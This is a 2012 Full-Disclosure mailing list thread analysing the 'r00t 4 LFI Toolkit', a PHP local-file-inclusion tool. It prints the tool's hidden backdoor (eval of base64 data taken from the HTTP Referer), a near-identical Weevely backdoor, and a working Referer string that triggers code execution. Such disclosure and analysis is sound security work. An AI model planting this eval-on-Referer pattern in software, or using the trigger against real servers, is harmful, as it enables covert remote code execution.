Date: Mon, 20 Feb 2012 09:27:35 +0100
From: Manu <sourvivor@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Re: Analysis of the "r00t 4 LFI Toolkit"

But you saw it in a few """priv8""" php shells? And you say that is your
code as 'r00t 4 LFI toolkit' ? Pathetic


2012/2/19 InterN0T Advisories <advisories@...ern0t.net>

> Thank you for the response, I didn't know it was included in the Weevely
> tool, but I did see it used in a few "priv8" PHP shells too.
>
> On Sun, 19 Feb 2012 19:32:13 +0200, Anestis Bechtsoudis
> <bechtsoudis.a@...il.com> wrote:
> > The backdoor PHP code that you included is exactly the same as generated
> > by Weevely [1] tool, until the 0.4 version of the tool.
> >
> > For convenience I include the base64 decoded Weevely code here too:
> >
> > ini_set('error_log','/dev/null');
> > parse_str($_SERVER['HTTP_REFERER'],$a); if(reset($a)=='my' &&
> > count($a)==9) {echo '<pass>';eval(base64_decode(str_replace(" ", "+",
> > join(array_slice($a,count($a)-3)))));echo '</pass>';}
> >
> >
> > For more details you can refer at a relevant post I wrote recently [2].
> >
> > I haven't dig into "r00t 4 LFI" source code, but from your analysis the
> > similarities are pretty obvious.
> >
> > ps: This email has been BCC'ed to Weevely developer.
> >
> >
> > [1] http://code.google.com/p/weevely/
> > [2] https://bechtsoudis.com/security/put-weevely-on-the-your-nids-radar/
> >
> >
> > On 02/19/2012 07:01 PM, InterN0T Advisories wrote:
> >> Dear Full Disclosure readers,
> >>
> >>
> >> Today I saw Joe McCray among others, tweet about the (new) "r00t 4 LFI
> >> Toolkit", that according to its description:
> >> -------------------------------------------
> >> This tool is a php script that assists in performing local file
> inclusion
> >> attacks.
> >> -------------------------------------------
> >>
> >>>> Should be able to perform local file inclusion attacks.
> >>
> >>
> >> -:: Overview ::-
> >>
> >> After studying this tool for a brief 5 minutes, it was obvious that it
> >> was
> >> nowhere what I hoped it to be, as the tool only use one method, the
> >> "/proc/self/environ" vector (as seen on e.g., the intern0t forums and
> >> many
> >> other sites).
> >>
> >> The tool is therefore, not capable of performing "attacks", but only 1,
> >> single type of LFI attack. (Note that the 'S' has been removed.)
> >>
> >> The method this tool uses, is far from new and doesn't always work
> >> either,
> >> but it's a nice trick that e.g., SirGod wrote about on the intern0t
> >> forums
> >> in 2009. (This tool was released the 18th February 2012.)
> >>
> >>
> >> -:: Vulnerabilities ::-
> >>
> >> Further study of this tool reveals:
> >> - None of the output from the tool is sanitized, meaning the attacker
> >> using the script, can get XSS'd (and CSRF'd), if the target has changed
> >> e.g., the 'uname -a' command (which is relatively simple to do), to
> >> include
> >> (print) JavaScript instead. If this happens, the attacker may end up
> >> attacking himself, crashing or something third, depending on the type
> of
> >> XSS payload.
> >>
> >> - The most interesting part, is on line 92, where the "developer"
> >> (KedAns-Dz), has decided to >>backdoor<< the tool.
> >>
> >>
> >> -:: The Backdoor ::-
> >>
> >> Analysis of the backdoor:
> >> By sending a HTTP request, that includes a specially crafted referer,
> it
> >> is possible to execute PHP code:
> >> -------------------------------------------
> >> Referer: a1=iz&a2=&a3=&a4=&a5=&a6=&a7=&a8=&a0=cGhwaW5mbygpOw==
> >> -------------------------------------------
> >>
> >>
> >> This referer will make the script execute: phpinfo();
> >>
> >>
> >> -:: Code Review ::-
> >>
> >> The code that enables the developer to use the script as a backdoor
> looks
> >> like the following:
> >> -------------------------------------------
> >> parse_str($_SERVER['HTTP_REFERER'],$a); if(reset($a)=='iz' &&
> >> count($a)==9) { echo '<star>';eval(base64_decode(str_replace(" ", "+",
> >> join(array_slice($a,count($a)-3)))));echo '</star>';}
> >> -------------------------------------------
> >>
> >>
> >> It certainly took a little bit of study to trigger, but in essence
> here's
> >> what it do:
> >> 1. Parse the HTTP Referer string into variable: $a ("Referer:" is not
> >> included.)
> >> 2. If the first array value (not key / arg), is a string named: iz
> >> 3. And if there's 9 (different) arrays, then
> >> 4. Print out the contents of..
> >>
> >>
> >> This requires a bit more in-depth explanation:
> >> A) Evaluate the following as PHP code:
> >> B) Base64_decode the input:
> >> C) Replace " " (space) with "+" (plus), in case they occur.
> >> D) Use the last three array values from the HTTP referer.
> >> (You don't have to use all three, using the last will work fine.)
> >>
> >>
> >> To make it all a lot more simple:
> >> -------------------------------------------
> >>
>
> Referer:Array1=iz&Array2=&Array3=&Array4=&Array5=&Array6=&Array7=&Array8=&Array0=[BASE64
> >> Code that will be executed as PHP.]
> >> -------------------------------------------
> >>
> >>
> >> Screenshot:
> >> http://i.imgur.com/PXcSX.png
> >>
> >>
> >> References:
> >>
>
> http://forum.intern0t.org/offensive-guides-information/4113-analysis-r00t-4-local-file-inclusion-toolkit.html
> >>
>
> http://forum.intern0t.org/general-hacking-discussions/1258-shell-via-local-file-inclusion-proc-self-environ-method-step-step.html
> >> http://packetstormsecurity.org/files/109940/
> >> https://twitter.com/#!/j0emccray/status/170941195030233090
> >> https://twitter.com/#!/EChavarro/status/170941489629761537
> >> http://i.imgur.com/PXcSX.png
> >>
> >>
> >>
> >> Best regards,
> >> MaXe
> >>
> >> _______________________________________________
> >> Full-Disclosure - We believe in it.
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>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
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>



-- 
/Manu~

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